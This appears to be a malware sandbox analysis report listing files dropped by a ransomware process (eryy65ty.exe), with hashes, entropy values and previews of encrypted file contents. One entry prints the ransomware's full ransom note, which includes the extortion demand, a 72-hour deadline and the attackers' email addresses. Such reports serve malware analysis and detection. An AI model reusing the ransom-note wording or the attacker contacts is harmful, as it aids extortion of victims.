                                                                                                                                                                SHA-256:44A6DE4700B5A72618FBEB34846791975AF16B1CF7F407B1AFADEC1F5DA80AF0
                                                                                                                                                                SHA-512:D8222359E21B1842889B866DC52292654E85B29E68A64842CDD13C56E37673194858EC6A5D59C897A269E88B72506FAE68D70ACDF3D87A96DA3452BF99404C67
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..g...^...a4..8....i.Q....Cm~..]...v.......g.v....K.......vf.z4..s..5....@ab..s.L.0r@.....g.?..E...C...T..AZ..AE.%..=u.s..[.[...o._.T...<2Jc...!t...9..@..:wwu.p.{_.6^....\..g'%..>H&.8..Y.Z...R...!h...6[V...>.3..>q..0.F...l.t... ..$..M..#1..-t.r..$....].b.]....z.R.]!.B...*.Y.R.........j.u.8..Y.....K....R.T...1(b.NV..P^......n..zW....R*9?@...%..$8....1.n....J.b....;........$..o..1U.r.$...CZ0^..Z.%V..~.J...T.5...7._@..0.../zGD.{Cf...HA$0J......_z...._..#...A|:019c43f6ba"}*....H)!J..u..xzI.....n?.... ...H....Z...U..f..z..%....)}\x......_.?t]......L..Lg...x.d..%..l.(..z..9...4t.L...s....\b.y.[`.?!.p:.C......kF...Z.?..*L...M....8.DX#.$b....g.6.o.s'.Fd=....k..#...P.cy.R.`..;%.v...=...=..!p.K....P...d....G.."60xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):758
                                                                                                                                                                Entropy (8bit):7.7004892846387145
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:rEdeeUI+KLO8DPq2NtssUcVL57ugL+8nx3piaSWfb64LRZ33s//PD8zolworOjEu:ua9QjssUmkf8xYaSWf+4+IzXoEExXw
                                                                                                                                                                MD5:FD4E4CB5B738133359EB3FBAA589C0E3
                                                                                                                                                                SHA1:3244748C19BEB207419295D445CF973CDCB0604A
                                                                                                                                                                SHA-256:44A6DE4700B5A72618FBEB34846791975AF16B1CF7F407B1AFADEC1F5DA80AF0
                                                                                                                                                                SHA-512:D8222359E21B1842889B866DC52292654E85B29E68A64842CDD13C56E37673194858EC6A5D59C897A269E88B72506FAE68D70ACDF3D87A96DA3452BF99404C67
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..g...^...a4..8....i.Q....Cm~..]...v.......g.v....K.......vf.z4..s..5....@ab..s.L.0r@.....g.?..E...C...T..AZ..AE.%..=u.s..[.[...o._.T...<2Jc...!t...9..@..:wwu.p.{_.6^....\..g'%..>H&.8..Y.Z...R...!h...6[V...>.3..>q..0.F...l.t... ..$..M..#1..-t.r..$....].b.]....z.R.]!.B...*.Y.R.........j.u.8..Y.....K....R.T...1(b.NV..P^......n..zW....R*9?@...%..$8....1.n....J.b....;........$..o..1U.r.$...CZ0^..Z.%V..~.J...T.5...7._@..0.../zGD.{Cf...HA$0J......_z...._..#...A|:019c43f6ba"}*....H)!J..u..xzI.....n?.... ...H....Z...U..f..z..%....)}\x......_.?t]......L..Lg...x.d..%..l.(..z..9...4t.L...s....\b.y.[`.?!.p:.C......kF...Z.?..*L...M....8.DX#.$b....g.6.o.s'.Fd=....k..#...P.cy.R.`..;%.v...=...=..!p.K....P...d....G.."60xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):6992
                                                                                                                                                                Entropy (8bit):7.450567779755171
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:192:bOcVEJC5x89BQmsCI/D8bud0JA6unSrDad0:bO4/o9kqMH1nSrDad0
                                                                                                                                                                MD5:33EAB8EC7BA88AEF7336AB73C608576F
                                                                                                                                                                SHA1:D2659D8C0D8C2FA651ADE325D404B31408F19795
                                                                                                                                                                SHA-256:D5B737C2804AC6C338FC7B20C98583CBC338D5C04E22EB4778F0DB29392ECF29
                                                                                                                                                                SHA-512:17E3B51A8C9E098EBBA9016E49849465C10CDA8F605C9E14B41BFDFF035384E01A5E614E9AF576158E9450B3E66FA98B6FD0FF44EE180852FAED38502F9519DD
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..V.K...n...M....OJ....2.uQ1....4.,e..M/...W...Y..#....G.fM.{...(....t...L5h-.x1\... .....?.H.r.....[.5m.g.....V.K0?.......V.._=..%d<....W....d.6........{.z+`..n.%..M..k.B...o....oL.....V'.-Cn....6..f:..}......Q.;..:_%..N...t.D(q.>.HQ.F...J.Hi...x.1.....T..F../N:.....J.6a...".Y.2.X*.......`...[YK<...Fg.T.*wo/A.yM....D.F..P...Z.E0..d......:...`..O.p...+..T....T;.G...l.AR.....^..oZ.pt1.....(~."."E.....|s.@.....P.e.......x......7.!j.%....x;R8...$5.Z.&..:.u....}..r.....8.....L1|=./...`.....)x+..J..a\j........s.C....@......8.#..K.T....7.[.-m.....f_...x.T.......\...Y.U.r...OK...C....#v..,.H.......{k2_.R..C..........L.....n....ub....9>."I.C...-.CA!+.;..>....\!.A.v.E[......`~....?.w..qK..:..+..*}b...6i@T.....C......N=l...QO..R0,'{K.%]...H.v...yA.....=M.......E...Ft.... ..iF5.,...3.}....R.@.C&.>T.e.Cl....`..k..R3...5)4,.....0. V....r.G...q.;.9<~....IZ...+...I.c/...a... .?.#..VB............./...-...(IC..../.&..._...........fj..~.!.@......Z..{U:.#z
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):6992
                                                                                                                                                                Entropy (8bit):7.450567779755171
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:192:bOcVEJC5x89BQmsCI/D8bud0JA6unSrDad0:bO4/o9kqMH1nSrDad0
                                                                                                                                                                MD5:33EAB8EC7BA88AEF7336AB73C608576F
                                                                                                                                                                SHA1:D2659D8C0D8C2FA651ADE325D404B31408F19795
                                                                                                                                                                SHA-256:D5B737C2804AC6C338FC7B20C98583CBC338D5C04E22EB4778F0DB29392ECF29
                                                                                                                                                                SHA-512:17E3B51A8C9E098EBBA9016E49849465C10CDA8F605C9E14B41BFDFF035384E01A5E614E9AF576158E9450B3E66FA98B6FD0FF44EE180852FAED38502F9519DD
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..V.K...n...M....OJ....2.uQ1....4.,e..M/...W...Y..#....G.fM.{...(....t...L5h-.x1\... .....?.H.r.....[.5m.g.....V.K0?.......V.._=..%d<....W....d.6........{.z+`..n.%..M..k.B...o....oL.....V'.-Cn....6..f:..}......Q.;..:_%..N...t.D(q.>.HQ.F...J.Hi...x.1.....T..F../N:.....J.6a...".Y.2.X*.......`...[YK<...Fg.T.*wo/A.yM....D.F..P...Z.E0..d......:...`..O.p...+..T....T;.G...l.AR.....^..oZ.pt1.....(~."."E.....|s.@.....P.e.......x......7.!j.%....x;R8...$5.Z.&..:.u....}..r.....8.....L1|=./...`.....)x+..J..a\j........s.C....@......8.#..K.T....7.[.-m.....f_...x.T.......\...Y.U.r...OK...C....#v..,.H.......{k2_.R..C..........L.....n....ub....9>."I.C...-.CA!+.;..>....\!.A.v.E[......`~....?.w..qK..:..+..*}b...6i@T.....C......N=l...QO..R0,'{K.%]...H.v...yA.....=M.......E...Ft.... ..iF5.,...3.}....R.@.C&.>T.e.Cl....`..k..R3...5)4,.....0. V....r.G...q.;.9<~....IZ...+...I.c/...a... .?.#..VB............./...-...(IC..../.&..._...........fj..~.!.@......Z..{U:.#z
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):68335
                                                                                                                                                                Entropy (8bit):5.6472304271355505
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:768:IZAIvbY613IhV1HiPqYHcSVVTwjHNoXzFS5Ek:IZ5bJK3ZivTwjHNoXzFS5N
                                                                                                                                                                MD5:968455BE9013B78E7F7DEA1F7279D60C
                                                                                                                                                                SHA1:BA10F3D961B93327AEBD72ADF45A1B7EED5A44E1
                                                                                                                                                                SHA-256:66B562E723CC460C8417A1E38F15FB44FB9ED1072CD3A1D1FA1264049DF3B9FB
                                                                                                                                                                SHA-512:27B7C1A5A4715F30391C25626073B8B07EFC9353E9AB54FBA574885778B50570EE8B514D9C6E2F885EA7483B6BBF3D85DCE0B4026CC743DA4A820EEC6783DADD
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...a..c.`|..3R...!.A<.o.L.D.q..g..%..3`+21.c...}).9......."............K 5....[.B6..m...w@...d...!.....E......n*...w%.qL../Ey.....JX..j.EWx..VE.....*. )..... .FPU..........h..B%...<R...N."...`0.!.l.....B..s.Y.......{R...-..A.o.0.........u...t..o.L.a..|5.f..6C.v.....Md.!P^...n|..G~....Bv.u..^.V.D?......x..d....3..>y%.!F.p.._Y.U/....3]S...3.q..[...l. B.7.h..Bfi...3L'|>Ir..c.o.5.o......w.A...........a..K.("E...N_.3..Q\....$.$.).....5e.g.]>.h...m.M|.1a..Y.N..2....5>..f..K..`.T@.?8+..H...._."t...F.q+w......v...3~...d......d.V}..$....55.......=...l...D.].:.Br..6`GH_&Y..3.o.%W}.....e.*!.X....8_.[..62..N....$.L.}....Nb.,4.W^...n`.B~..o.l.......mx,.3..L..B.=..F.H.......@..kLQ.J..dOy.W..;_..y6.g.hm..;...}*...).A..T..4.~.....-.~.....}.()A...{.2.o(J..A..|...B..0d<.$=..... .O.....W.E.51...Rh......T[z....e.CE.S.*.....|...n....M=..]k.|w..4DD.'...nh..<#.U.......<.f.p....?.S....o..E.....9\..aj.....c.`>BL.^.....T.#.2...aJ..q."........Wk.Z./.E..K....2.r..$en1sJ.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):68335
                                                                                                                                                                Entropy (8bit):5.6472304271355505
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:768:IZAIvbY613IhV1HiPqYHcSVVTwjHNoXzFS5Ek:IZ5bJK3ZivTwjHNoXzFS5N
                                                                                                                                                                MD5:968455BE9013B78E7F7DEA1F7279D60C
                                                                                                                                                                SHA1:BA10F3D961B93327AEBD72ADF45A1B7EED5A44E1
                                                                                                                                                                SHA-256:66B562E723CC460C8417A1E38F15FB44FB9ED1072CD3A1D1FA1264049DF3B9FB
                                                                                                                                                                SHA-512:27B7C1A5A4715F30391C25626073B8B07EFC9353E9AB54FBA574885778B50570EE8B514D9C6E2F885EA7483B6BBF3D85DCE0B4026CC743DA4A820EEC6783DADD
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...a..c.`|..3R...!.A<.o.L.D.q..g..%..3`+21.c...}).9......."............K 5....[.B6..m...w@...d...!.....E......n*...w%.qL../Ey.....JX..j.EWx..VE.....*. )..... .FPU..........h..B%...<R...N."...`0.!.l.....B..s.Y.......{R...-..A.o.0.........u...t..o.L.a..|5.f..6C.v.....Md.!P^...n|..G~....Bv.u..^.V.D?......x..d....3..>y%.!F.p.._Y.U/....3]S...3.q..[...l. B.7.h..Bfi...3L'|>Ir..c.o.5.o......w.A...........a..K.("E...N_.3..Q\....$.$.).....5e.g.]>.h...m.M|.1a..Y.N..2....5>..f..K..`.T@.?8+..H...._."t...F.q+w......v...3~...d......d.V}..$....55.......=...l...D.].:.Br..6`GH_&Y..3.o.%W}.....e.*!.X....8_.[..62..N....$.L.}....Nb.,4.W^...n`.B~..o.l.......mx,.3..L..B.=..F.H.......@..kLQ.J..dOy.W..;_..y6.g.hm..;...}*...).A..T..4.~.....-.~.....}.()A...{.2.o(J..A..|...B..0d<.$=..... .O.....W.E.51...Rh......T[z....e.CE.S.*.....|...n....M=..]k.|w..4DD.'...nh..<#.U.......<.f.p....?.S....o..E.....9\..aj.....c.`>BL.^.....T.#.2...aJ..q."........Wk.Z./.E..K....2.r..$en1sJ.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):68345
                                                                                                                                                                Entropy (8bit):5.6445499553991105
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:768:U2zbY613IhV1HiPqYHcSVVTwjHNoXzFS5E5:RXJK3ZivTwjHNoXzFS5U
                                                                                                                                                                MD5:FFBEDC34ED209F6466DEF86560C26AA2
                                                                                                                                                                SHA1:8FDFFE1FFD58E716FD91FF4071F3D9E9EDDE56AC
                                                                                                                                                                SHA-256:6D7760F6F57EF4774411826DAB4C34897B41E50EEF6099D880CE444BB2F432DA
                                                                                                                                                                SHA-512:54D846A26EC60E55497B998E9B922B81734C2F2D5B282E7EDF2D028E510EE2859C5CC2DA9A3EB7967FD9D9DDEEF6C15378C85D9D346E8B1331B26C707B35F55F
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.....F5...J.%..wQ...m....U.WCt...|.m,.u..|\9..n.......&.r.%a.........Q.{.B!h.E3....-..>..L..tQ.........B(.:.Y..y..l..T...4R]..G..)zt..S${._C..=..j....<.ds.D.)....Z.M......+....J.....+lH...].G.CgE.}.u....sB.....k...7...u....-&..h.......S.S...v.64..Z.......FQ..G_.h..q.N\{."r....2r...8..l..%o..3.py.r....m..J....zq.^4.........-..IW.uNp.e.....N&..We6.Q...,..G"x.{...*.?e3.H.. .....".@n.9..p.$.q...8s..P.O...Y5.8..;F....."...5.....6I>wm.d..I..g.....(.....1.d......q.....9..&....T......_s\.Fe..D...w[.o.9L_.6.K.`sg/j J.U.$@:.=B...t..a>.....Um..lD.'P.uT.....t..........(..&...q....V.>...tG........P}r>.#Y.U....,..7]8....`.e......Y./,...=w`....[..d0..G...7`.....M.s..6...d.W....e.....<m.WKwn.........^..ES..!{L......(.fq..=.,r1....].........c.s._....$.. .C......G..5.....a.....,...S..y+.[.=_t..K?.7@u-.,......>*\|..(..>.-..B.y.r..6.6..TCc...}...=...O...~f../"..n.......+.c....xg.0.....-.)..Gf....VS..)..`......-..7..D......M....'.}....D..p..'."...4.$.9....A9+.6
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):68345
                                                                                                                                                                Entropy (8bit):5.6445499553991105
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:768:U2zbY613IhV1HiPqYHcSVVTwjHNoXzFS5E5:RXJK3ZivTwjHNoXzFS5U
                                                                                                                                                                MD5:FFBEDC34ED209F6466DEF86560C26AA2
                                                                                                                                                                SHA1:8FDFFE1FFD58E716FD91FF4071F3D9E9EDDE56AC
                                                                                                                                                                SHA-256:6D7760F6F57EF4774411826DAB4C34897B41E50EEF6099D880CE444BB2F432DA
                                                                                                                                                                SHA-512:54D846A26EC60E55497B998E9B922B81734C2F2D5B282E7EDF2D028E510EE2859C5CC2DA9A3EB7967FD9D9DDEEF6C15378C85D9D346E8B1331B26C707B35F55F
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.....F5...J.%..wQ...m....U.WCt...|.m,.u..|\9..n.......&.r.%a.........Q.{.B!h.E3....-..>..L..tQ.........B(.:.Y..y..l..T...4R]..G..)zt..S${._C..=..j....<.ds.D.)....Z.M......+....J.....+lH...].G.CgE.}.u....sB.....k...7...u....-&..h.......S.S...v.64..Z.......FQ..G_.h..q.N\{."r....2r...8..l..%o..3.py.r....m..J....zq.^4.........-..IW.uNp.e.....N&..We6.Q...,..G"x.{...*.?e3.H.. .....".@n.9..p.$.q...8s..P.O...Y5.8..;F....."...5.....6I>wm.d..I..g.....(.....1.d......q.....9..&....T......_s\.Fe..D...w[.o.9L_.6.K.`sg/j J.U.$@:.=B...t..a>.....Um..lD.'P.uT.....t..........(..&...q....V.>...tG........P}r>.#Y.U....,..7]8....`.e......Y./,...=w`....[..d0..G...7`.....M.s..6...d.W....e.....<m.WKwn.........^..ES..!{L......(.fq..=.,r1....].........c.s._....$.. .C......G..5.....a.....,...S..y+.[.=_t..K?.7@u-.,......>*\|..(..>.-..B.y.r..6.6..TCc...}...=...O...~f../"..n.......+.c....xg.0.....-.)..Gf....VS..)..`......-..7..D......M....'.}....D..p..'."...4.$.9....A9+.6
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):42202
                                                                                                                                                                Entropy (8bit):5.8375948361811885
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:768:/H5donNH82KcLXUBUaIUx36g8MwwNoXzFS5aRY:UNHxBLS6g8MZNoXzFS5j
                                                                                                                                                                MD5:B634C09F64473510B616DDCED5A1D1B2
                                                                                                                                                                SHA1:DA194FD5F0243E92A40AFAF9AC5FCE1DD4DC00CE
                                                                                                                                                                SHA-256:B0719CBC3FBAA681CECF4075366928A9041320A614B1EA1F5397E0F1F6031AC1
                                                                                                                                                                SHA-512:52C8258405D5AF46834F32BA89380B0774D2B3C01D248281B500B72ECDA8E75BEB880AA0B2590680B98F85FB781544D9EB7E5276058B519E6058D8462AFD57A3
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...UB.}.N..f..+.J.i,/.x..J.6Y.....9..naD..t..).T.rN..h$..U...$..y..52....[...f.&..0C..3.l6M?.. O.v]B..$f.W.L.x%@7......c....;.v..*[....x9.@.".yY.A.md.B..M......>\=H!......[.Tc0[1t..^...D..WEX-...*..mC.X....2...M.&jC&..D..,S.:..r.I..Hs.%SyL U.K......<..$l.Tk^....;.P$l.B..a$]\y.@....d..e..S...UBi.....1..........|iJ.0.g...^.....rH/.b.C.n*j....V.. .Q.QXA].F.L,..u'.D.v..Ft.8j'."o,..sd!0b...4%_.N,..C.D.|].8..I.!/]=.g;.J.RYo...W...y]*.M.l.Qm.Gj#s.5F$..%..M...)....9.r8y...._i....r....."......8....>...l....4....t`.. ..PG(d[...d..7R...fmrM...>.s..o2.D.....DR..."..us\.@..`....}..W...l.e..BL..W......o.0.........L.........X....%U.2..$|..p..)..DkubUK...!..b..g..5F}V..N.../m....7..s#.|.K..r..Y..T..7..;.#.w.<UWEv.G.h......w..t.....#.~.b/.....+..".....8........b.....G..=p......+...N..[.........I.AxR.."L..Zf%.....T$qJ...-*u....Z...S...B..p.r.0....g.Wj.d...5..L.@.....w...9H..3o.7.jC..3....]..2.w..z.\....z.....kMe.+...5."|.....U9I:..L..>/V..8.=r..,.......Z.-...Z.4K.].^.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):42202
                                                                                                                                                                Entropy (8bit):5.8375948361811885
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:768:/H5donNH82KcLXUBUaIUx36g8MwwNoXzFS5aRY:UNHxBLS6g8MZNoXzFS5j
                                                                                                                                                                MD5:B634C09F64473510B616DDCED5A1D1B2
                                                                                                                                                                SHA1:DA194FD5F0243E92A40AFAF9AC5FCE1DD4DC00CE
                                                                                                                                                                SHA-256:B0719CBC3FBAA681CECF4075366928A9041320A614B1EA1F5397E0F1F6031AC1
                                                                                                                                                                SHA-512:52C8258405D5AF46834F32BA89380B0774D2B3C01D248281B500B72ECDA8E75BEB880AA0B2590680B98F85FB781544D9EB7E5276058B519E6058D8462AFD57A3
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...UB.}.N..f..+.J.i,/.x..J.6Y.....9..naD..t..).T.rN..h$..U...$..y..52....[...f.&..0C..3.l6M?.. O.v]B..$f.W.L.x%@7......c....;.v..*[....x9.@.".yY.A.md.B..M......>\=H!......[.Tc0[1t..^...D..WEX-...*..mC.X....2...M.&jC&..D..,S.:..r.I..Hs.%SyL U.K......<..$l.Tk^....;.P$l.B..a$]\y.@....d..e..S...UBi.....1..........|iJ.0.g...^.....rH/.b.C.n*j....V.. .Q.QXA].F.L,..u'.D.v..Ft.8j'."o,..sd!0b...4%_.N,..C.D.|].8..I.!/]=.g;.J.RYo...W...y]*.M.l.Qm.Gj#s.5F$..%..M...)....9.r8y...._i....r....."......8....>...l....4....t`.. ..PG(d[...d..7R...fmrM...>.s..o2.D.....DR..."..us\.@..`....}..W...l.e..BL..W......o.0.........L.........X....%U.2..$|..p..)..DkubUK...!..b..g..5F}V..N.../m....7..s#.|.K..r..Y..T..7..;.#.w.<UWEv.G.h......w..t.....#.~.b/.....+..".....8........b.....G..=p......+...N..[.........I.AxR.."L..Zf%.....T$qJ...-*u....Z...S...B..p.r.0....g.Wj.d...5..L.@.....w...9H..3o.7.jC..3....]..2.w..z.\....z.....kMe.+...5."|.....U9I:..L..>/V..8.=r..,.......Z.-...Z.4K.].^.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):9034
                                                                                                                                                                Entropy (8bit):7.088461537141575
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:192:rYq3RxhR+XmKzz8kZGlrT6z15lNtn9JA6unSrDtTZd/S9hIpzY:MqbK2s88xnk1nSrDhZd/cKpE
                                                                                                                                                                MD5:AD027F4112B623379AED0D78496B722D
                                                                                                                                                                SHA1:BE4835961A4BFCDD0906BA15FC00BA4B1E3C6020
                                                                                                                                                                SHA-256:ABC5EB63E52E481609EC7FA5A582ADB02F08D428B00D6A91035F2D28A017493D
                                                                                                                                                                SHA-512:2AC0EEFC7667F0010C422AC9443D298243561129FEA0966E5892DB86CB40C6B63FFCC5E3D87B1CBEE5D94420380FB02312B451F746569B147A435994E7806512
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..mj........oWM-t.H...Q=.%....X?..YR...F..4...0-&.....Bc....bN..JJ...*v...<.}B.z...q%kD........1;.?.G..w...(..7..b..P......Xa.#.........g.J..6=i.&..8HF....C#...[@MgFo..X.o..p.&i.:r.n.f..V.]c..2.y......5.=.`.:R.W<....,...j....C..!w..D9"b...Q....D.....(..Nz.q.q^.@W~..x...dr$.Ys_0l.%.7hB.c.k..7T.....p.~..k.q5.e.......n...U..0.}I.#..W...\[&44.Q.pI....../'[CsG.../U...i[....Y6.C...`.*k..?....K........q...9.N.5../..X5.Gj.....XNVr....f..<.aB..z4...f.....b-S;n?....y.^..x..I.&..l`...`FOk.e=../.....|!S]"........X..]Y$...........7..]..*.Uf.]...x...X...;..M.".o..RC.b..~XF..L..B....7JC....#%0p.x.%.2...........7Kn...^x...X..X.(.b..(.+_..6.8ku+>...(7C.e}./s.E..>...^..*.OHnC.0.L.S:.O..vYi.&qJ....6.S.....~f..m...%.[R0.F..n`...~:+..].IMw...J.~P..&...p..K...X._...+p.5I...zr[.A..u...b.....!.6.......\.\.c..rN....".?..~...2y`......_\.f.<.t_.iC.R.....m..v.b...\..L ..1.1..c42.S..k..Cy=>..c....w..v)....F....+..9....6..|| ..y..0.V/.....Z...5......u,|Lg....).t.I.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):9034
                                                                                                                                                                Entropy (8bit):7.088461537141575
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:192:rYq3RxhR+XmKzz8kZGlrT6z15lNtn9JA6unSrDtTZd/S9hIpzY:MqbK2s88xnk1nSrDhZd/cKpE
                                                                                                                                                                MD5:AD027F4112B623379AED0D78496B722D
                                                                                                                                                                SHA1:BE4835961A4BFCDD0906BA15FC00BA4B1E3C6020
                                                                                                                                                                SHA-256:ABC5EB63E52E481609EC7FA5A582ADB02F08D428B00D6A91035F2D28A017493D
                                                                                                                                                                SHA-512:2AC0EEFC7667F0010C422AC9443D298243561129FEA0966E5892DB86CB40C6B63FFCC5E3D87B1CBEE5D94420380FB02312B451F746569B147A435994E7806512
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..mj........oWM-t.H...Q=.%....X?..YR...F..4...0-&.....Bc....bN..JJ...*v...<.}B.z...q%kD........1;.?.G..w...(..7..b..P......Xa.#.........g.J..6=i.&..8HF....C#...[@MgFo..X.o..p.&i.:r.n.f..V.]c..2.y......5.=.`.:R.W<....,...j....C..!w..D9"b...Q....D.....(..Nz.q.q^.@W~..x...dr$.Ys_0l.%.7hB.c.k..7T.....p.~..k.q5.e.......n...U..0.}I.#..W...\[&44.Q.pI....../'[CsG.../U...i[....Y6.C...`.*k..?....K........q...9.N.5../..X5.Gj.....XNVr....f..<.aB..z4...f.....b-S;n?....y.^..x..I.&..l`...`FOk.e=../.....|!S]"........X..]Y$...........7..]..*.Uf.]...x...X...;..M.".o..RC.b..~XF..L..B....7JC....#%0p.x.%.2...........7Kn...^x...X..X.(.b..(.+_..6.8ku+>...(7C.e}./s.E..>...^..*.OHnC.0.L.S:.O..vYi.&qJ....6.S.....~f..m...%.[R0.F..n`...~:+..].IMw...J.~P..&...p..K...X._...+p.5I...zr[.A..u...b.....!.6.......\.\.c..rN....".?..~...2y`......_\.f.<.t_.iC.R.....m..v.b...\..L ..1.1..c42.S..k..Cy=>..c....w..v)....F....+..9....6..|| ..y..0.V/.....Z...5......u,|Lg....).t.I.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):615
                                                                                                                                                                Entropy (8bit):7.591361749480496
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:41mK8F2KL0TB+mR9KuxSWpYnNv1fAxiqA7YD0o2CGGG78mvKv9DufhNj4n:41GF28ZuxS6K9qAK0o2CGX7CvFufhNc
                                                                                                                                                                MD5:A3781D76BCBA4E622355742049322FA2
                                                                                                                                                                SHA1:5755023883B73AB02391170262442DFF12F7929F
                                                                                                                                                                SHA-256:C1C91F96B317B0E9EAB0E60D63BAC36D7FAE88E3F1DBB4E27CE6C70C2070543B
                                                                                                                                                                SHA-512:AA3EDCAFB61F2FCFFD05A15313428DF79AD0557CDE4A1AD8A7FAF11F2A1FD704E834243512EF862C03F5B786BBC063725419905AB8DB90442E5C572D1CD5954C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.&n..z3w..!.0....../..S.W...@3.vU%x=.......]a......l..:z..J...."Zq.a.@...6..C.Vr..w....Vu......L.Y.z.{..;C...c.....E.W;..1h.~N`c\.Dt@.n......h1.>....j..#..-.L~g.!...=...;...Cy.."..........*...?s|...}V...;K....`......xI...G.x...U.{2....H.s....+. .]{...O..>.R.b'a.~x[A....L..H...S....|.........*.c....e..0...=.j.....*.A.S...Iz..Plt"}}..K'.o...._..m.yc....A.C@....v...K...n..f....~.. .."Lza.%s+.E.....) &(~..%-z~+3H...?GQ9i..........6....6.y......v...........t.:.P.u.-........;.#O...'Bf.$...m\...ie|G...ocZX.)N.....s'\:...2Q..I...u.E..$....n.)...j.|t..go)...1,.s..... ..(.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):615
                                                                                                                                                                Entropy (8bit):7.591361749480496
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:41mK8F2KL0TB+mR9KuxSWpYnNv1fAxiqA7YD0o2CGGG78mvKv9DufhNj4n:41GF28ZuxS6K9qAK0o2CGX7CvFufhNc
                                                                                                                                                                MD5:A3781D76BCBA4E622355742049322FA2
